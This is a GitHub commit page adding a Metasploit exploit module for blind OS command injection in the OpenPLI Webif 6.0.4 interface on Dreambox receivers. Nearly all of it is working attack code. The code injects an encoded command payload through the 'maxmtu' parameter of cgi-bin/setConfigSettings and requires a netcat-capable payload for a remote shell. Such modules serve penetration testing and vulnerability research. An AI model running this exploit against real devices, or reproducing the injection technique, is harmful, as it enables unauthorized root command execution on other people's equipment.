Skip to content

Commit b86b70c

Browse files
author
jvazquez-r7
committed
Merge branch 'openpli-shell' of https://github.com/m-1-k-3/metasploit-framework into m-1-k-3-openpli-shell
2 parents 02f90b5 + b4554d2 commit b86b70c

File tree

1 file changed

+77
-0
lines changed

1 file changed

+77
-0
lines changed
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
2+
##
3+
# This file is part of the Metasploit Framework and may be subject to
4+
# redistribution and commercial restrictions. Please see the Metasploit
5+
# web site for more information on licensing and terms of use.
6+
# http://metasploit.com/
7+
##
8+
9+
require 'msf/core'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = GreatRanking
13+
14+
include Msf::Exploit::Remote::HttpClient
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'OpenPLI Webif Arbitrary Command Execution',
19+
'Description' => %q{
20+
Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS command
21+
injection in the Webif 6.0.4 Web Interface. This is a blind injection, which means
22+
that you will not see any output of your command. A ping command can be used for
23+
testing the vulnerability. This module has been tested in a box with the next
24+
features: Linux Kernel version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) #1
25+
Wed Aug 17 23:54:07 CEST 2011, Firmware release 1.1.0 (27.01.2013), FP Firmware
26+
1.06 and Web Interface 6.0.4-Expert (PLi edition).
27+
},
28+
'Author' => [ 'm-1-k-3' ],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'OSVDB', '90230' ],
33+
[ 'BID', '57943' ],
34+
[ 'EDB', '24498' ],
35+
[ 'URL', 'http://openpli.org/wiki/Webif' ],
36+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-007' ]
37+
],
38+
'Platform' => ['unix', 'linux'],
39+
'Arch' => ARCH_CMD,
40+
'Privileged' => true,
41+
'Payload' =>
42+
{
43+
'Space' => 1024,
44+
'DisableNops' => true,
45+
'Compat' =>
46+
{
47+
'PayloadType' => 'cmd',
48+
'RequiredCmd' => 'netcat generic'
49+
}
50+
},
51+
'Targets' =>
52+
[
53+
[ 'Automatic Target', { }]
54+
],
55+
'DefaultTarget' => 0,
56+
'DisclosureDate' => 'Feb 08 2013'
57+
))
58+
end
59+
60+
def exploit
61+
print_status("#{rhost}:#{rport} - Sending remote command...")
62+
vprint_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
63+
begin
64+
send_request_cgi(
65+
{
66+
'uri' => normalize_uri("cgi-bin", "setConfigSettings"),
67+
'method' => 'GET',
68+
'vars_get' => {
69+
"maxmtu" => "1500&#{payload.encoded}&"
70+
}
71+
})
72+
73+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
74+
fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
75+
end
76+
end
77+
end

0 commit comments

Comments
 (0)